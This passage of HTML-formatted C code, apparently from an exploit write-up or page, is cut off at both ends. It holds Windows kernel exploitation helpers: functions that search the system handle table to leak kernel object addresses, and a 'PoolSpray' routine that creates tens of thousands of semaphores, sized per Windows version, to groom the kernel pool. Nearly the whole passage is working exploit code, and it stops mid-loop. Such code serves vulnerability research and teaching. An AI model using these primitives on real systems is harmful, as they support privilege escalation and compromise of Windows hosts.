    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;unsigned&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; i &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; i &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;NumberOfHandles&lt;span style="color: purple;"&gt;;&lt;/span&gt; i&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;UniqueProcessId &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwLookupProcessID&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;Object &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; pObjectAddr&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            hResult &lt;span style="color: #808030;"&gt;=&lt;/span&gt; pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;HandleValue&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; hResult&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; LookupObjectAddress&lt;span style="color: #808030;"&gt;(&lt;/span&gt;PSYSTEM_HANDLE_INFORMATION_EX pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hObject&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt;    pResult &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt;    dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwProcessID&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;Ain't funny&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;GetCurrentProcessId&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;unsigned&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; i &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; i &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;NumberOfHandles&lt;span style="color: purple;"&gt;;&lt;/span&gt; i&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;UniqueProcessId &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwLookupProcessID&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;HandleValue &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; hObject&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            pResult &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;Object&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt; pResult&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; CloseTableHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;PSYSTEM_HANDLE_INFORMATION_EX pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hObject&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt;    dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwProcessID&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;Ain't funny&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        dwLookupProcessID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;GetCurrentProcessId&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;unsigned&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; i &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; i &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;NumberOfHandles&lt;span style="color: purple;"&gt;;&lt;/span&gt; i&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;UniqueProcessId &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwLookupProcessID&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;HandleValue &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; hObject&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;Object &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;HandleValue &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; PoolSpray&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// Init used native API function&lt;/span&gt;
    lpNtQuerySystemInformation NtQuerySystemInformation &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;lpNtQuerySystemInformation&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetProcAddress&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetModuleHandle&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;L"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;ntdll.dll&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;NtQuerySystemInformation&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;NtQuerySystemInformation &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;Such a fail...&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    
    &lt;span style="color: dimgrey;"&gt;// Determine object size&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// xp: &lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;//const DWORD_PTR dwSemaphoreSize = 0x38;&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;// 7:&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;//const DWORD_PTR dwSemaphoreSize = 0x48;&lt;/span&gt;

    DWORD_PTR dwSemaphoreSize &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;5&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        dwSemaphoreSize &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0x38&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LOBYTE&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetVersion&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;6&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        dwSemaphoreSize &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0x48&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;unsigned&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; cycleCount &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;cycleCount &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #008c00;"&gt;50000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hTemp &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;CreateSemaphore&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;3&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;hTemp &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;

        &lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;cycleCount&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[+] Spawned lots of semaphores&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[.] Initing pool windows&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #400000;"&gt;Sleep&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #008c00;"&gt;2000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwNeeded &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;4096&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    NTSTATUS status &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pBuf &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;4096&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;true&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        status &lt;span style="color: #808030;"&gt;=&lt;/span&gt; NtQuerySystemInformation&lt;span style="color: #808030;"&gt;(&lt;/span&gt;SystemExtendedHandleInformation&lt;span style="color: #808030;"&gt;,&lt;/span&gt; pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; dwNeeded&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;status &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; STATUS_SUCCESS&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            dwNeeded &lt;span style="color: #808030;"&gt;*&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;2&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
